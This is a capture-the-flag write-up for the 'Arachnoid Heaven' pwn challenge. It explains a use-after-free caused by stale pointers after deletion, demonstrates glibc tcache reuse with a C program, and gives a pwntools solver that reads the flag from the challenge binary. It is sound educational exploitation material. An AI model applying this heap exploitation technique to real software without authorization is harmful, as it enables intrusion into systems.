In the steam world, you need some trustworthy companions to help you continue your journey. What’s better than a handmade, top-tier, state of the art arachnoid machine?! Exactly, nothing! Come to Arachnoid Heaven and craft yours as soon as possible?
Category: pwn
Solver: t0b1, linaScience
Flag: HTB{l3t_th3_4r4chn01ds_fr3333}
Writeup
In this pwn challenge, we receive a binary called arachnoid_heaven
.
TL;DR: The craft_arachnoid
function allocates 96 bytes of memory but leaks the first 16 bytes. The delete_arachnoid
function frees the name and code of an arachnoid, but does not remove the pointers from the global arachnoid array, nor does it decrease the arachnoid count. As malloc
allocates adjacent memory cells, we can combine the two functions, to write an arachnoids name into a memory region where a previously allocated arachnoids code pointed to. Then, we can obtain the flag.
Overview
First, we connect to the challenge to check what’s going on. We are presented with a menu and a prompt what action we want to do.
πΈ π· Welcome to Arachnoid Heaven! π· πΈ
π©π©π©π©π©π©π©π©π©π©π©π©π©π©
π© π©
π© 1. Craft arachnoid π©
π© 2. Delete arachnoid π©
π© 3. View arachnoid π©
π© 4. Obtain arachnoid π©
π© 5. Exit π©
π© π©
π©π©π©π©π©π©π©π©π©π©π©π©π©π©
>
We can craft
an arachnoid, which allows us to give it a name. There is also some code
that is initially bad
.
We can delete
an arachnoid which will likely remove it from the memory.
We can view
all arachnoids to show their name and code.
We can obtain
an arachnoid which currently results in an Unauthorised!
output.
Reverse Engineering
As this is an easy pwn challenge, our first guess is that some security features were disabled when compiling the code, allowing for e.g. buffer overflows. Hence, we run the checksec
tool to verify our first assumption.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
However, checksec
reveals that all security features are enabled. Thus, we start Ghidra and feed it the binary.
The main
function is not spectacular, as it simply presents us with the menu and prompts for an input.
The craft_arachnoid
function allocates an array of two pointers first (16 byte) and two pointers (the first for the arachnoid’s name, the second for its code) with 40 bytes each next. It reads 20 bytes as the name of the arachnoid and stores it. Furthermore, it copies “bad” as a default code into the arachnoids code. It finally stores the pointer to the name and code in a global array. However, the allocated array is not freed.
The delete_arachnoid
function then frees both the name and the code pointer of the specified arachnoid. However, it does not decrease the arachnoid count. Furthermore, it does not overwrite the space where the name and the code pointers are stored.
The obtain_arachnoid
function checks, whether the memory at the address the code of the specified arachnoid points to contains sp1d3y
. If so, it prints the flag.
As we noted previously, the code of an arachnoid is initialized with “bad”. Furthermore, we have no direct way to modify its contents.
This is where the leak in the craft_arachnoid
function comes to play. The malloc
function allocates adjacent memory on multiple calls. Furthermore, if we free a pointer and call the same malloc
again, we get the same space.
Now, what happens, if we create an arachnoid, delete it, and create a second arachnoid? We can examine that with a little C program, which demonstrates how malloc
works. The same is also described in the official glibc malloc
documentation [1].
#include <stdio.h>
#include <stdlib.h>
int main() {
void* a = malloc(0x10);
printf("a: %p\n", a);
void* name = malloc(0x28);
printf("name: %p offset: %p\n", name, name - a);
void* code = malloc(0x28);
printf("code: %p offset: %p\n", code, code - a);
free(name);
free(code);
void* aa = malloc(0x10);
printf("aa: %p offset: %p\n", aa, aa - a);
name = malloc(0x28);
printf("name: %p offset: %p\n", name, name - a);
code = malloc(0x28);
printf("code: %p offset: %p\n", code, code - a);
free(name);
free(code);
free(a);
free(aa);
}
This yields an output such as:
a: 0x5592f73aa2a0
name: 0x5592f73aa6d0 offset: 0x430
code: 0x5592f73aa700 offset: 0x460
aa: 0x5592f73aa730 offset: 0x490
name: 0x5592f73aa700 offset: 0x460
code: 0x5592f73aa6d0 offset: 0x430
The observation is clear. First, we allocate three memory regions which gives us different memory areas. Then, we free name and code. Finally, we allocate three memory regions again with the same size as before. According to the glibc malloc implementation, freeing memory generally stores it in a cache, instead of returning it to the operating system directly. This cache can be used for subsequent calls to malloc with the same size. Hence, the allocation of the aa
buffer allocates new memory. However, the allocations for name and code, which were previously freed (but allocated with the same size), are reused. Furthermore, as the cache is a Last-in-First-out structure, the name
now receives the address that was previously allocated to code
and vice-versa.
Exploitation
As the addresses of crafted arachnoids are not overwritten in the global arachnoid array, the old name
and code
addresses are still present. Hence, the secondly crafted arachnoid’s name
points to the previously deleted arachnoid’s code
. This way, we can give the second arachnoid the name sp1d3y
and obtain the flag!
Solver
#!/usr/bin/env python3
import pwn
local = True
binary = "arachnoid_heaven"
remote_address = "167.172.57.255"
remote_port = 32724
def main():
proc = pwn.process(binary) if local else pwn.remote(remote_address, remote_port)
def recv_print(x):
print(proc.recvuntil(x).decode())
def sendline_int(i):
proc.sendline(str(i).encode())
recv_print(">")
pwn.info("Creating first arachnoid")
sendline_int(1)
recv_print("Name:")
proc.sendline(b"test")
recv_print(">")
pwn.info("Deleting first arachnoid")
sendline_int(2)
recv_print("Index:")
sendline_int(0)
recv_print(">")
pwn.info("Creating second arachnoid")
sendline_int(1)
recv_print("Name:")
proc.sendline(b"sp1d3y")
recv_print(">")
pwn.info("Viewing arachnoids")
sendline_int(3)
recv_print(">")
pwn.info("Obtaining flag")
sendline_int(4)
recv_print("Arachnoid:")
sendline_int(0)
recv_print(">")
pwn.info("Bye")
sendline_int(5)
if __name__ == "__main__":
main()
Other resources
[1] glibc malloc documentation https://sourceware.org/glibc/wiki/MallocInternals